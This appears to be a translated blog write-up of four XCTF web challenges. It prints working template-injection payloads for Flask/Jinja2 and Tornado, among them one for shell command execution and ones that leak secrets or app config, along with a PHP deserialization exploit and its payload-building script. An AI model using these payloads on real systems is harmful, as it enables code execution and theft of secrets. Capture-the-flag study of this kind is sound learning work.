XCTF Web Record (Day 3)

Web_python_template_injection

The question directly tells that it is SSTI:
Insert picture description here
Attempt to inject:
Insert picture description here
7*8 is executed, and there is indeed injection.

At present, the learning of SSTI is still in the beginning, the payload is borrowed from the masters:
[template injection] SSTI command to execute payload analysis

Command execution payload:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

Insert picture description here
Cat it to get the flag.

easytornado

Insert picture description here
Open the three txts of the title and open them separately:
Insert picture description here

Insert picture description here
Insert picture description here
Here again I learned about the injection of the Tornado framework.

We directly access /fllllllllllllag according to the content of flag.txt to jump to this page:
Insert picture description here
At the same time, we find that the msg parameter can be displayed, try it:
Insert picture description here
SSTI does exist, but how to use it.

Given in hint.txt:

md5(cookie_secret+md5(filename))

There is another parameter filehash in the url, which seems to be linked with hint.

Then the next step is to get cookie_secret.

Later I learned:

cookie_secret is in the settings attribute of the Application object.
The handler points to the RequestHandler object that processes the current page. RequestHandler.settings points to self.application.settings, so handler.settings points to RequestHandler.application.settings.
A series of things that I don’t understand.

In short, get cookie_secret, payload:

/error?msg={
    
    {
    
    handler.settings}}

Insert picture description here
Then calculate, pass in the value, and get the flag.

shrine


import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{
    
    {% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)


Open it directly is the code of the flask framework, there are two routes here:

/
/shrine/

Then () was filtered

payload:

{
    
    {
    
    url_for.__globals__['current_app'].config}}

Insert picture description here

Summarize these three SSTIs:

It's too good, I don't know anything, I will try my best to understand SSTI later.

Web_php_unserialize

<?php 
class Demo {
    
     
    private $file = 'index.php';
    public function __construct($file) {
    
     
        $this->file = $file; 
    }
    function __destruct() {
    
     
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
    
     
        if ($this->file != 'index.php') {
    
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) {
    
     
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) {
    
     
        die('stop hacking!'); 
    } else {
    
    
        @unserialize($var); 
    } 
} else {
    
     
    highlight_file("index.php"); 
} 
?>

Deserialize the problem and analyze the code.

The constructor __construct() assigns initial values ​​to variables at the beginning of program execution.
The destructor __destruct() will be automatically called after the execution of the function where the object is located.
Before deserialization is executed, the magic method __wakeup will be executed first

Use __destruct() to display fl4g.php and bypass __wakeup. When the number of member attributes is greater than the actual number, the wakeup method can be bypassed.

Regular bypass, use + bypass.

During the use of the private object, the format is:
%00 class name %00 variable name (%00 occupies one digit length)

So, construct the payload:

O:+4:"Demo":2:{
    
    s:10:" Demo file";s:8:"fl4g.php";}

The value is also base64-encrypted here, but when using some base64-encrypted websites, %00 will be lost, so it is better to use some scripts for encryption here.

<?php 
class Demo {
    
     
    private $file = 'index.php';
    public function __construct($file) {
    
     
        $this->file = $file; 
    }
    function __destruct() {
    
     
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
    
     
        if ($this->file != 'index.php') {
    
     
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $A = new Demo('fl4g.php');
    $C = serialize($A);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
    $C = str_replace(':1:', ':2:',$C);//绕过wakeup
    var_dump($C);
    //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    var_dump(base64_encode($C));
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>

It should be noted that the %00 is missing.

Guess you like

Origin blog.csdn.net/qq_45742511/article/details/114299641